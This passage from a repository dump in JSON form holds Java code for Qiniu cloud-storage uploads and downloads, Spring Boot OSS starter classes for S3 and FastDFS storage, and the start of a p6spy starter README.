Auth.create(QiniuUtils.ACCESS_KEY, QiniuUtils.SECRET_KEY);\n\t\tString token = auth.uploadToken(QiniuUtils.BUCKET_NAME);\n\t\tResponse r = uploadManager.put(file, fileName, token);\n\t\tif (r.isOK()) {\n\t\t\tlog.info(\"上传成功!\");\n\t\t\tlog.info(\"上传文件路径：\" + domain + r.url());\n\t\t} else {\n\t\t\tlog.info(\"上传失败!\");\n\t\t}\n\t\tSystem.out.println(token); // 输出上传凭证\n\t\tSystem.out.println(r.isOK()); // 输出上传到七牛云之后的文件名称\n\t\tSystem.out.println(r.toString()); // 输出上传到七牛云之后的文件名称\n\t\tSystem.out.println(r.url()); // 输出上传到七牛云之后的文件名称\n\n\t}\n\n\tpublic static void uploadFile(InputStream ins, String fileName) throws QiniuException {\n\t\tcom.qiniu.storage.Configuration cfg = new Configuration();\n\t\tUploadManager uploadManager = new UploadManager(cfg);\n\t\tAuth auth = Auth.create(QiniuUtils.ACCESS_KEY, QiniuUtils.SECRET_KEY);\n\t\tString token = auth.uploadToken(QiniuUtils.BUCKET_NAME);\n\t\tResponse r = uploadManager.put(chanageInputStream2byte(ins), fileName, token);\n\t\tif (r.isOK()) {\n\t\t\tlog.info(\"上传成功!\");\n\t\t\tlog.info(\"上传文件路径：\" + domain + r.url());\n\t\t} else {\n\t\t\tlog.info(\"上传失败!\");\n\t\t}\n\t\tSystem.out.println(token); // 输出上传凭证\n\t\tSystem.out.println(r.isOK()); // 输出上传到七牛云之后的文件名称\n\t\tSystem.out.println(r.toString()); // 输出上传到七牛云之后的文件名称\n\t\tSystem.out.println(r.url()); // 输出上传到七牛云之后的文件名称\n\t}\n\n\tpublic static void uploadFile(MultipartFile file, String fileName) throws IOException {\n\t\tcom.qiniu.storage.Configuration cfg = new Configuration();\n\t\tUploadManager uploadManager = new UploadManager(cfg);\n\t\tAuth auth = Auth.create(QiniuUtils.ACCESS_KEY, QiniuUtils.SECRET_KEY);\n\t\tString token = auth.uploadToken(QiniuUtils.BUCKET_NAME);\n//\t\ttry {\n\t\t\tResponse r = uploadManager.put(file.getBytes(), fileName, token);\n\t\t\tif (r.isOK()) {\n\t\t\t\tlog.info(\"上传成功!\");\n\t\t\t\tlog.info(\"上传文件路径：\" + domain + r.url());\n\t\t\t} else {\n\t\t\t\tlog.info(\"上传失败!\");\n\t\t\t}\n\t\t\tSystem.out.println(token); // 输出上传凭证\n\t\t\tSystem.out.println(r.isOK()); // 输出上传到七牛云之后的文件名称\n\t\t\tSystem.out.println(r.toString()); // 输出上传到七牛云之后的文件名称\n\t\t\tSystem.out.println(r.url()); // 输出上传到七牛云之后的文件名称\n//\t\t} catch (IOException e) {\n//\t\t\te.printStackTrace();\n//\t\t}\n\t}\n\t\n\tpublic static String uploadFileV2(MultipartFile file, String fileName) throws IOException {\n\t\tcom.qiniu.storage.Configuration cfg = new Configuration();\n\t\tUploadManager uploadManager = new UploadManager(cfg);\n\t\tAuth auth = Auth.create(QiniuUtils.ACCESS_KEY, QiniuUtils.SECRET_KEY);\n\t\tString token = auth.uploadToken(QiniuUtils.BUCKET_NAME);\n\t\tResponse r = uploadManager.put(file.getBytes(), fileName, token);\n\t\tif (r.isOK()) {\n\t\t\tlog.info(\"上传成功!\");\n\t\t\tlog.info(\"上传文件路径：\" + domain + r.url());\n\t\t} else {\n\t\t\tlog.info(\"上传失败!\");\n\t\t}\n\t\tSystem.out.println(token); // 输出上传凭证\n\t\tSystem.out.println(r.isOK()); // 输出上传到七牛云之后的文件名称\n\t\tSystem.out.println(r.toString()); // 输出上传到七牛云之后的文件名称\n\t\tSystem.out.println(r.url()); // 输出上传到七牛云之后的文件名称\n\t\tString URL = QiniuUtils.domain + \"/\" + fileName;\n\t\tString downloadRUL = auth.privateDownloadUrl(URL, TOKEN_TIME);\n\t\tlog.info(\"下载文件路径：\" + downloadRUL);\n\t\treturn downloadRUL;\n\t}\n\tpublic static String uploadFileV2(File file, String fileName) throws IOException {\n\t\tcom.qiniu.storage.Configuration cfg = new Configuration();\n\t\tUploadManager uploadManager = new UploadManager(cfg);\n\t\tAuth auth = Auth.create(QiniuUtils.ACCESS_KEY, QiniuUtils.SECRET_KEY);\n\t\tString token = auth.uploadToken(QiniuUtils.BUCKET_NAME);\n\t\tFileInputStream input = new FileInputStream(file);\n\t\tResponse r = uploadManager.put(IOUtils.toByteArray(input), fileName, token);\n\t\tif (r.isOK()) {\n\t\t\tlog.info(\"上传成功!\");\n\t\t\tlog.info(\"上传文件路径：\" + domain + r.url());\n\t\t} else {\n\t\t\tlog.info(\"上传失败!\");\n\t\t}\n\t\tSystem.out.println(token); // 输出上传凭证\n\t\tSystem.out.println(r.isOK()); // 输出上传到七牛云之后的文件名称\n\t\tSystem.out.println(r.toString()); // 输出上传到七牛云之后的文件名称\n\t\tSystem.out.println(r.url()); // 输出上传到七牛云之后的文件名称\n\t\tString URL = QiniuUtils.domain + \"/\" + fileName;\n\t\tString downloadRUL = auth.privateDownloadUrl(URL, TOKEN_TIME);\n\t\tlog.info(\"下载文件路径：\" + downloadRUL);\n\t\treturn downloadRUL;\n\t}\n\n\tpublic static String downloadURL(String fileName) {\n\t\t// 密钥配置\n\t\tAuth auth = Auth.create(ACCESS_KEY, SECRET_KEY);\n\t\t// 构造私有空间的需要生成的下载的链接\n\t\tString URL = QiniuUtils.domain + \"/\" + fileName;\n\t\tlog.info(\"下载原始文件路径：\" + URL);\n\t\t// 调用privateDownloadUrl方法生成下载链接,第二个参数可以设置Token的过期时间\n\t\tString downloadRUL = auth.privateDownloadUrl(URL, TOKEN_TIME);\n\t\tlog.info(\"下载文件路径：\" + downloadRUL);\n\t\tSystem.out.println(downloadRUL);\n\t\treturn downloadRUL;\n\t}\n\n\tpublic static byte[] chanageInputStream2byte(InputStream fis) {\n\t\tbyte[] buffer = null;\n\t\ttry {\n\t\t\t// FileInputStream fis = new FileInputStream(tradeFile);\n\t\t\tByteArrayOutputStream bos = new ByteArrayOutputStream();\n\t\t\tbyte[] b = new byte[1024];\n\t\t\tint n;\n\t\t\twhile ((n = fis.read(b)) != -1) {\n\t\t\t\tbos.write(b, 0, n);\n\t\t\t}\n\t\t\tfis.close();\n\t\t\tbos.close();\n\t\t\tbuffer = bos.toByteArray();\n\t\t} catch (FileNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn buffer;\n\t}\n\n\tpublic static String FormetFileSize(Long fileLength) {\n\t\tString fileSizeString = \"\";\n\t\tDecimalFormat df = new DecimalFormat(\"#.00\");\n\t\tif (fileLength != null) {\n\t\t\tif (fileLength < 1024) {\n\t\t\t\tfileSizeString = df.format((double) fileLength) + \"B\";\n\t\t\t} else if (fileLength < 1048576) {\n\t\t\t\tfileSizeString = df.format((double) fileLength / 1024) + \"K\";\n\t\t\t} else if (fileLength < 1073741824) {\n\t\t\t\tfileSizeString = df.format((double) fileLength / 1048576) + \"M\";\n\t\t\t} else {\n\t\t\t\tfileSizeString = df.format((double) fileLength / 1073741824) + \"G\";\n\t\t\t}\n\t\t}\n\t\treturn fileSizeString;\n\t}\n\n\tpublic static String getFileNameByDate(String filename) {\n\t\tString filenameExtension = \"\";\n\t\tString filenamePre = \"\";\n\t\tif (filename.contains(\".\")) {\n\t\t\tfilenameExtension = filename.substring(filename.indexOf(\".\") + 1, filename.length());\n\t\t\tfilenamePre = filename.substring(0, filename.indexOf(\".\"));\n\t\t} else {\n\t\t\tfilenamePre = filename;\n\t\t}\n\t\tSimpleDateFormat time = new SimpleDateFormat(\"yyyyMMddHHmmss\");\n\t\tString filenameNew = filenamePre + \"-\" + time.format(new Date()) + \".\" + filenameExtension;\n\t\tlog.info(filenameNew);\n\t\treturn filenameNew;\n\n\t}\n\t\n\tpublic static String getFileNameByDate(String username , String filename) {\n\t\tString filenameExtension = \"\";\n\t\tString filenamePre = \"\";\n\t\tif (filename.contains(\".\")) {\n\t\t\tfilenameExtension = filename.substring(filename.indexOf(\".\") + 1, filename.length());\n\t\t\tfilenamePre = filename.substring(0, filename.indexOf(\".\"));\n\t\t} else {\n\t\t\tfilenamePre = filename;\n\t\t}\n\t\tSimpleDateFormat time = new SimpleDateFormat(\"yyyyMMddHHmmss\");\n\t\tString filenameNew =username+\"/\" + filenamePre + \"-\" + time.format(new Date()) +\"-\"+  username+ \".\" + filenameExtension;\n\t\tlog.info(filenameNew);\n\t\treturn filenameNew;\n\t\t\n\t}\n\n\t// 删除文件\n\tpublic static int deleteFileFromQiniu(String fileName) {\n\t\t// 构造一个带指定Zone对象的配置类\n\t\t@SuppressWarnings(\"deprecation\")\n\t\tConfiguration cfg = new Configuration(Zone.zone0());\n\t\tString key = fileName;\n\t\tAuth auth = Auth.create(ACCESS_KEY, SECRET_KEY);\n\t\tBucketManager bucketManager = new BucketManager(auth, cfg);\n\t\ttry {\n\t\t\tResponse delete = bucketManager.delete(BUCKET_NAME, key);\n\t\t\treturn delete.statusCode;\n\t\t} catch (QiniuException ex) {\n\t\t\t// 如果遇到异常，说明删除失败\n\t\t\tex.printStackTrace();\n\t\t\tSystem.err.println(ex.code());\n\t\t\tSystem.err.println(ex.response.toString());\n\t\t}\n\t\treturn -1;\n\t}\n\n\n\tpublic static void main(String[] args) {\n\t\ttry {\n//\t\t\tuploadFile(\"D:\\\\11111108599.zip\", \"11111108599.zip\");\n//\t\t\tuploadFile(new File(\"D:\\\\quickstart-master.tar.gz\"), \"quickstart-master.tar.gz\");\n//\t\t\tdownload(\"11111108599.zip\");\n//\t\t\tgetFileNameByDate(\"11111108599.tar.gz\");\n\t\t} catch (Exception e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\n\t// *****************************************************************************************************************\n\t// *****************************************************************************************************************\n\t// *****************************************************************************************************************\n\n\tprivate static Logger logger = LoggerFactory.getLogger(QiniuUtils.class);\n\tString bucketName = \"bucketName\";\n//\tprivate String bucketName = propertyUtil.getProperty(\"bucketName\");\n//\tprivate String domain = propertyUtil.getProperty(\"domain\");\n//\tprivate String ACCESS_KEY = propertyUtil.getProperty(\"ACCESS_KEY\");\n//\tprivate String SECRET_KEY = propertyUtil.getProperty(\"SECRET_KEY\");\n\n\t//通过文件路径上传文件\n\tpublic ExecuteResult<String> uploadFile(String localFile) throws AuthException, JSONException {\n\t\tFile file = new File(localFile);\n\t\t/**\n\t\t * 文件后缀名 文件扩展名\n\t\t */\n\t\tString filenameExtension = localFile.substring(localFile.lastIndexOf(\".\"), localFile.length());\n\t\treturn uploadFile2(file, filenameExtension);\n\t}\n\n\t//通过File上传\n\tpublic ExecuteResult<String> uploadFile2(File file, String filename) throws AuthException, JSONException {\n\t\tExecuteResult<String> executeResult = new ExecuteResult<String>();\n//        String uptoken = getUpToken();\n\t\t// 可选的上传选项，具体说明请参见使用手册。\n//        PutExtra extra = new PutExtra();\n//        PutRet ret = IoApi.putFile(uptoken,filename , extra);\n\t\tcom.qiniu.storage.Configuration cfg = new Configuration();\n\t\tUploadManager uploadManager = new UploadManager(cfg);\n\t\tAuth auth = Auth.create(ACCESS_KEY,SECRET_KEY);\n\t\tString token = auth.uploadToken(bucketName);\n\t\tResponse r;\n\t\ttry {\n\t\t\tr = uploadManager.put(file, filename, token);\n\t\t\tSystem.out.println(token);   //输出上传凭证\n\t\t\tSystem.out.println(r.isOK());    //输出上传到七牛云之后的文件名称\n\t\t\tSystem.out.println(r.toString());    //输出上传到七牛云之后的文件名称\n\t\t\tif (r.isOK()) {\n\t\t\t\texecuteResult.setSuccessMessage(\"上传成功!\");\n\t\t\t\texecuteResult.setResult(domain+r.url());\n\t\t\t} else {\n\t\t\t\texecuteResult.addErrorMessage(\"上传失败\");\n\t\t\t}\n\t\t} catch (QiniuException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\n\t\treturn executeResult;\n\t}\n\tpublic String getFileNameByDateAndUUID(String filenameExtension) {\n\t\tSimpleDateFormat time = new SimpleDateFormat(\"yyyy/MM/dd\");\n\t\tString filename = time.format(new Date()) + \"/\" + UUID.randomUUID() + filenameExtension;\n\t\treturn filename;\n\n\t}\n\n\t/**\n\t * 从 inputstream 中写入七牛\n\t *\n\t * @param content 要写入的内容\n\t * @return\n\t * @throws AuthException\n\t * @throws JSONException\n\t */\n\tpublic boolean uploadFile2(String content ,String fileName) throws AuthException, JSONException {\n\t\t// 读取的时候按的二进制，所以这里要同一\n\t\tByteArrayInputStream inputStream = new ByteArrayInputStream(content.getBytes());\n\t\t// 可选的上传选项，具体说明请参见使用手册。\n\t\tcom.qiniu.storage.Configuration cfg = new Configuration();\n\t\tUploadManager uploadManager = new UploadManager(cfg);\n\t\tAuth auth = Auth.create(ACCESS_KEY,SECRET_KEY);\n\t\tString token = auth.uploadToken(bucketName);\n\n\t\tResponse r;\n\t\ttry {\n\t\t\tr = uploadManager.put(QiniuUtils.chanageInputStream2byte(inputStream), fileName, token);\n//\t    \tResponse r = uploadManager.put(inputStream, key, token);\n\t\t\tSystem.out.println(token);   //输出上传凭证\n\t\t\tSystem.out.println(r.isOK());    //输出上传到七牛云之后的文件名称\n\t\t\tSystem.out.println(r.toString());    //输出上传到七牛云之后的文件名称\n\t\t\tif (r.isOK()) {\n\t\t\t\treturn true;\n\t\t\t} else {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t} catch (QiniuException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn false;\n\t}\n\tpublic boolean uploadFile2(InputStream ins,String fileName) throws AuthException, JSONException {\n\t\tcom.qiniu.storage.Configuration cfg = new Configuration();\n\t\tUploadManager uploadManager = new UploadManager(cfg);\n\t\tAuth auth = Auth.create(ACCESS_KEY,SECRET_KEY);\n\t\tString token = auth.uploadToken(bucketName);\n\t\tResponse r;\n\t\ttry {\n\t\t\tr = uploadManager.put(QiniuUtils.chanageInputStream2byte(ins), fileName, token);\n\t\t\t//Response r = uploadManager.put(inputStream, key, token);\n\t\t\tSystem.out.println(token);   //输出上传凭证\n\t\t\tSystem.out.println(r.isOK());    //输出上传到七牛云之后的文件名称\n\t\t\tSystem.out.println(r.toString());    //输出上传到七牛云之后的文件名称\n\t\t\tif (r.isOK()) {\n\t\t\t\treturn true;\n\t\t\t} else {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t} catch (QiniuException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn false;\n\t}\n\n\tpublic static byte[] chanageInputStream2byte2(InputStream fis){\n\t\tbyte[] buffer = null;\n\t\ttry\n\t\t{\n//            FileInputStream fis = new FileInputStream(tradeFile);\n\t\t\tByteArrayOutputStream bos = new ByteArrayOutputStream();\n\t\t\tbyte[] b = new byte[1024];\n\t\t\tint n;\n\t\t\twhile ((n = fis.read(b)) != -1)\n\t\t\t{\n\t\t\t\tbos.write(b, 0, n);\n\t\t\t}\n\t\t\tfis.close();\n\t\t\tbos.close();\n\t\t\tbuffer = bos.toByteArray();\n\t\t}catch (FileNotFoundException e){\n\t\t\te.printStackTrace();\n\t\t}catch (IOException e){\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn buffer;\n\t}\n\tpublic static byte[] File2byte(File tradeFile){\n\t\tbyte[] buffer = null;\n\t\ttry\n\t\t{\n\t\t\tFileInputStream fis = new FileInputStream(tradeFile);\n\t\t\tByteArrayOutputStream bos = new ByteArrayOutputStream();\n\t\t\tbyte[] b = new byte[1024];\n\t\t\tint n;\n\t\t\twhile ((n = fis.read(b)) != -1)\n\t\t\t{\n\t\t\t\tbos.write(b, 0, n);\n\t\t\t}\n\t\t\tfis.close();\n\t\t\tbos.close();\n\t\t\tbuffer = bos.toByteArray();\n\t\t}catch (FileNotFoundException e){\n\t\t\te.printStackTrace();\n\t\t}catch (IOException e){\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn buffer;\n\t}\n\n\t//获得下载地址\n//    public String getDownloadFileUrl(String filename) throws Exception {\n//        Mac mac = getMac();\n//        String baseUrl = URLUtils.makeBaseUrl(domain, filename);\n//        GetPolicy getPolicy = new GetPolicy();\n//        String downloadUrl = getPolicy.makeRequest(baseUrl, mac);\n//        return downloadUrl;\n//    }\n//\n//    //删除文件\n//    public void deleteFile(String filename) {\n//        Mac mac = getMac();\n//        RSClient client = new RSClient(mac);\n//        client.delete(domain, filename);\n//    }\n//\n//    //获取凭证\n//    private String getUpToken() throws AuthException, JSONException {\n//        Mac mac = getMac();\n//        PutPolicy putPolicy = new PutPolicy(bucketName);\n//        String uptoken = putPolicy.token(mac);\n//        return uptoken;\n//    }\n//\n//    private Mac getMac() {\n//        Mac mac = new Mac(ACCESS_KEY, SECRET_KEY);\n//        return mac;\n//    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-oss-spring-boot-starter/src/main/java/io/github/wujun728/oss/config/OssAutoConfigure.java",
    "content": "package io.github.wujun728.oss.config;\n\nimport io.github.wujun728.oss.properties.FileServerProperties;\nimport io.github.wujun728.oss.template.FdfsTemplate;\nimport io.github.wujun728.oss.template.S3Template;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.context.annotation.Import;\n\n/**\n */\n@EnableConfigurationProperties(FileServerProperties.class)\n@Import({FdfsTemplate.class, S3Template.class})\npublic class OssAutoConfigure {\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-oss-spring-boot-starter/src/main/java/io/github/wujun728/oss/model/ObjectInfo.java",
    "content": "package io.github.wujun728.oss.model;\n\nimport lombok.Getter;\nimport lombok.Setter;\n\n/**\n */\n@Setter\n@Getter\npublic class ObjectInfo {\n    /**\n     * 对象查看路径\n     */\n    private String objectUrl;\n    /**\n     * 对象保存路径\n     */\n    private String objectPath;\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-oss-spring-boot-starter/src/main/java/io/github/wujun728/oss/properties/FdfsProperties.java",
    "content": "package io.github.wujun728.oss.properties;\n\nimport lombok.Getter;\nimport lombok.Setter;\n\n/**\n * fastdfs配置\n *\n */\n@Setter\n@Getter\npublic class FdfsProperties {\n    /**\n     * fastdfs的http访问地址\n     */\n    private String webUrl;\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-oss-spring-boot-starter/src/main/java/io/github/wujun728/oss/properties/FileServerProperties.java",
    "content": "package io.github.wujun728.oss.properties;\n\nimport lombok.Getter;\nimport lombok.Setter;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\n\n/**\n */\n@Setter\n@Getter\n@ConfigurationProperties(prefix = FileServerProperties.PREFIX)\npublic class FileServerProperties {\n    public static final String PREFIX = \"jun.file-server\";\n    public static final String TYPE_FDFS = \"fastdfs\";\n    public static final String TYPE_S3 = \"s3\";\n\n    /**\n     * 为以下2个值，指定不同的自动化配置\n     * s3：aws s3协议的存储（七牛oss、阿里云oss、minio等）\n     * fastdfs：本地部署的fastDFS\n     */\n    private String type;\n\n    /**\n     * aws s3配置\n     */\n    S3Properties s3 = new S3Properties();\n\n    /**\n     * fastDFS配置\n     */\n    FdfsProperties fdfs = new FdfsProperties();\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-oss-spring-boot-starter/src/main/java/io/github/wujun728/oss/properties/S3Properties.java",
    "content": "package io.github.wujun728.oss.properties;\n\nimport lombok.Getter;\nimport lombok.Setter;\n\n/**\n * aws s3协议配置\n *\n */\n@Setter\n@Getter\npublic class S3Properties {\n    /**\n     * 用户名\n     */\n    private String accessKey;\n    /**\n     * 密码\n     */\n    private String accessKeySecret;\n    /**\n     * 访问端点\n     */\n    private String endpoint;\n    /**\n     * bucket名称\n     */\n    private String bucketName;\n    /**\n     * 区域\n     */\n    private String region;\n    /**\n     * path-style\n     */\n    private Boolean pathStyleAccessEnabled = true;\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-oss-spring-boot-starter/src/main/java/io/github/wujun728/oss/service/IOssService.java",
    "content": "package io.github.wujun728.oss.service;\n\nimport io.github.wujun728.oss.model.ObjectInfo;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport java.io.InputStream;\nimport java.io.OutputStream;\n\n/**\n */\npublic interface IOssService {\n    /**\n     * 上传对象\n     * @param objectName 对象名\n     * @param is 对象流\n     */\n    ObjectInfo upload(String objectName, InputStream is);\n\n    /**\n     * 上传对象\n     * @param file 对象\n     */\n    ObjectInfo upload(MultipartFile file);\n\n    /**\n     * 删除对象\n     * @param objectKey 对象标识\n     */\n    void delete(String objectKey);\n\n    /**\n     * 查看文件\n     * @param objectPath 对象路径\n     * @param os 输出流\n     */\n    void view(String objectPath, OutputStream os);\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-oss-spring-boot-starter/src/main/java/io/github/wujun728/oss/template/FdfsTemplate.java",
    "content": "package io.github.wujun728.oss.template;\n\nimport io.github.wujun728.oss.model.ObjectInfo;\nimport io.github.wujun728.oss.properties.FileServerProperties;\nimport com.github.tobato.fastdfs.domain.fdfs.StorePath;\nimport com.github.tobato.fastdfs.domain.proto.storage.DownloadCallback;\nimport com.github.tobato.fastdfs.service.FastFileStorageClient;\nimport lombok.SneakyThrows;\nimport org.apache.commons.io.FilenameUtils;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnClass;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;\nimport org.springframework.util.StringUtils;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport javax.annotation.Resource;\nimport java.io.InputStream;\n\n/**\n * FastDFS配置\n *\n */\n@ConditionalOnClass(FastFileStorageClient.class)\n@ConditionalOnProperty(prefix = FileServerProperties.PREFIX, name = \"type\", havingValue = FileServerProperties.TYPE_FDFS)\npublic class FdfsTemplate {\n    @Resource\n    private FileServerProperties fileProperties;\n\n    @Resource\n    private FastFileStorageClient storageClient;\n\n    @SneakyThrows\n    public ObjectInfo upload(String objectName, InputStream is) {\n        return upload(objectName, is, is.available());\n    }\n\n    @SneakyThrows\n    public ObjectInfo upload(MultipartFile file) {\n        return upload(file.getOriginalFilename(), file.getInputStream(), file.getSize());\n    }\n\n    /**\n     * 上传对象\n     * @param objectName 对象名\n     * @param is 对象流\n     * @param size 大小\n     */\n    private ObjectInfo upload(String objectName, InputStream is, long size) {\n        StorePath storePath = storageClient.uploadFile(is, size, FilenameUtils.getExtension(objectName), null);\n        ObjectInfo obj = new ObjectInfo();\n        obj.setObjectPath(storePath.getFullPath());\n        obj.setObjectUrl(\"http://\" + fileProperties.getFdfs().getWebUrl() + \"/\" + storePath.getFullPath());\n        return obj;\n    }\n\n    /**\n     * 删除对象\n     * @param objectPath 对象路径\n     */\n    public void delete(String objectPath) {\n        if (!StringUtils.isEmpty(objectPath)) {\n            StorePath storePath = StorePath.parseFromUrl(objectPath);\n            storageClient.deleteFile(storePath.getGroup(), storePath.getPath());\n        }\n    }\n\n    /**\n     * 下载对象\n     * @param objectPath 对象路径\n     * @param callback 回调\n     */\n    public <T> T download(String objectPath, DownloadCallback<T> callback) {\n        if (!StringUtils.isEmpty(objectPath)) {\n            StorePath storePath = StorePath.parseFromUrl(objectPath);\n            return storageClient.downloadFile(storePath.getGroup(), storePath.getPath(), callback);\n        }\n        return null;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-oss-spring-boot-starter/src/main/java/io/github/wujun728/oss/template/S3Template.java",
    "content": "package io.github.wujun728.oss.template;\n\nimport com.amazonaws.ClientConfiguration;\nimport com.amazonaws.auth.AWSCredentials;\nimport com.amazonaws.auth.AWSCredentialsProvider;\nimport com.amazonaws.auth.AWSStaticCredentialsProvider;\nimport com.amazonaws.auth.BasicAWSCredentials;\nimport com.amazonaws.client.builder.AwsClientBuilder;\nimport com.amazonaws.services.s3.AmazonS3;\nimport com.amazonaws.services.s3.AmazonS3Client;\nimport com.amazonaws.services.s3.model.ObjectMetadata;\nimport com.amazonaws.services.s3.model.PutObjectRequest;\nimport com.amazonaws.services.s3.model.S3Object;\nimport com.amazonaws.services.s3.model.S3ObjectInputStream;\nimport com.amazonaws.util.IOUtils;\nimport io.github.wujun728.oss.model.ObjectInfo;\nimport io.github.wujun728.oss.properties.FileServerProperties;\nimport lombok.SneakyThrows;\nimport org.springframework.beans.factory.InitializingBean;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnClass;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.net.URL;\nimport java.util.Calendar;\n\n/**\n * aws s3配置\n *\n */\n@ConditionalOnClass(AmazonS3.class)\n@ConditionalOnProperty(prefix = FileServerProperties.PREFIX, name = \"type\", havingValue = FileServerProperties.TYPE_S3)\npublic class S3Template implements InitializingBean {\n    private static final String DEF_CONTEXT_TYPE = \"application/octet-stream\";\n    private static final String PATH_SPLIT = \"/\";\n\n    @Autowired\n    private FileServerProperties fileProperties;\n\n    private AmazonS3 amazonS3;\n\n    @Override\n    public void afterPropertiesSet() {\n        ClientConfiguration config = new ClientConfiguration();\n        AwsClientBuilder.EndpointConfiguration endpoint = new AwsClientBuilder.EndpointConfiguration(fileProperties.getS3().getEndpoint(), fileProperties.getS3().getRegion());\n        AWSCredentials credentials = new BasicAWSCredentials(fileProperties.getS3().getAccessKey(), fileProperties.getS3().getAccessKeySecret());\n        AWSCredentialsProvider awsCredentialsProvider = new AWSStaticCredentialsProvider(credentials);\n        this.amazonS3 = AmazonS3Client.builder()\n                .withEndpointConfiguration(endpoint)\n                .withClientConfiguration(config)\n                .withCredentials(awsCredentialsProvider)\n                .withPathStyleAccessEnabled(fileProperties.getS3().getPathStyleAccessEnabled())\n                .disableChunkedEncoding()\n                .build();\n    }\n\n    @SneakyThrows\n    public ObjectInfo upload(String fileName, InputStream is) {\n        return upload(fileProperties.getS3().getBucketName(), fileName, is, is.available(), DEF_CONTEXT_TYPE);\n    }\n\n    @SneakyThrows\n    public ObjectInfo upload(MultipartFile file) {\n        return upload(fileProperties.getS3().getBucketName(), file.getOriginalFilename(), file.getInputStream()\n                , ((Long)file.getSize()).intValue(), file.getContentType());\n    }\n\n    @SneakyThrows\n    public ObjectInfo upload(String bucketName, String fileName, InputStream is) {\n        return upload(bucketName, fileName, is, is.available(), DEF_CONTEXT_TYPE);\n    }\n\n    /**\n     * 上传对象\n     * @param bucketName bucket名称\n     * @param objectName 对象名\n     * @param is 对象流\n     * @param size 大小\n     * @param contentType 类型\n     */\n    private ObjectInfo upload(String bucketName, String objectName, InputStream is, int size, String contentType) {\n        ObjectMetadata objectMetadata = new ObjectMetadata();\n        objectMetadata.setContentLength(size);\n        objectMetadata.setContentType(contentType);\n        PutObjectRequest putObjectRequest = new PutObjectRequest(\n                bucketName, objectName, is, objectMetadata);\n        putObjectRequest.getRequestClientOptions().setReadLimit(size + 1);\n        amazonS3.putObject(putObjectRequest);\n\n        ObjectInfo obj = new ObjectInfo();\n        obj.setObjectPath(bucketName + PATH_SPLIT + objectName);\n        obj.setObjectUrl(fileProperties.getS3().getEndpoint() + PATH_SPLIT + obj.getObjectPath());\n        return obj;\n    }\n\n    public void delete(String objectName) {\n        delete(fileProperties.getS3().getBucketName(), objectName);\n    }\n\n    public void delete(String bucketName, String objectName) {\n        amazonS3.deleteObject(bucketName, objectName);\n    }\n\n    /**\n     * 获取预览地址\n     * @param bucketName bucket名称\n     * @param objectName 对象名\n     * @param expires 有效时间(分钟)，最大7天有效\n     * @return\n     */\n    public String getViewUrl(String bucketName, String objectName, int expires) {\n        Calendar cal = Calendar.getInstance();\n        cal.add(Calendar.MINUTE, expires);\n        URL url = amazonS3.generatePresignedUrl(bucketName, objectName, cal.getTime());\n        return url.toString();\n    }\n\n    public void out(String objectName, OutputStream os) {\n        out(fileProperties.getS3().getBucketName(), objectName, os);\n    }\n\n    /**\n     * 输出对象\n     * @param bucketName bucket名称\n     * @param objectName 对象名\n     * @param os 输出流\n     */\n    @SneakyThrows\n    public void out(String bucketName, String objectName, OutputStream os) {\n        S3Object s3Object = amazonS3.getObject(bucketName, objectName);\n        try (\n                S3ObjectInputStream s3is = s3Object.getObjectContent();\n        ) {\n            IOUtils.copy(s3is, os);\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-oss-spring-boot-starter/src/main/resources/META-INF/spring.factories.bk",
    "content": "org.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\nio.github.wujun728.oss.config.OssAutoConfigure,\\\nio.github.wujun728.file.config.FileAutoConfig"
  },
  {
    "path": "jun_springboot_starter/jun-p6spy-spring-boot-starter/.gitignore",
    "content": "/.idea\n/target\n/*.iml\n"
  },
  {
    "path": "jun_springboot_starter/jun-p6spy-spring-boot-starter/README.md",
    "content": "# p6spy-spring-boot-starter\nSpring boot application integrates p6spy print logs quickly\n\n## Quick start\n\n- 一、Import dependencies\n```\n        <dependency>\n            <groupId>com.github.klboke</groupId>\n            <artifactId>p6spy-spring-boot-starter</artifactId>\n            <version>1.0</version>\n        </dependency>\n```\n- 二、Configure the application.properties\nConfiguration starts with \"p6spy.config.\" compatible with p6spy's system properties configuration\n```\nspring.datasource.url = jdbc:p6spy:mysql://xxx\nspring.datasource.username = xxx\nspring.datasource.password = xxx\nspring.datasource.driver-class-name = com.p6spy.engine.spy.P6SpyDriver\n\np6spy.config.appender = com.p6spy.engine.spy.appender.Slf4JLogger\np6spy.config.logMessageFormat = com.p6spy.engine.spy.appender.CustomLineFormat\np6spy.config.customLogMessageFormat = executionTime:%(executionTime)| 执行sql:%(sqlSingleLine)\n```\n> By default import dependency, p6spy auto assembly will take effect, you can turn it off by \"p6spy.config.enabled = false\"\n## Configuration description\n- \"Spring-configuration-metadata.json\" has been added to the configuration description, and IDEA has good configuration tips\n- More configurations are 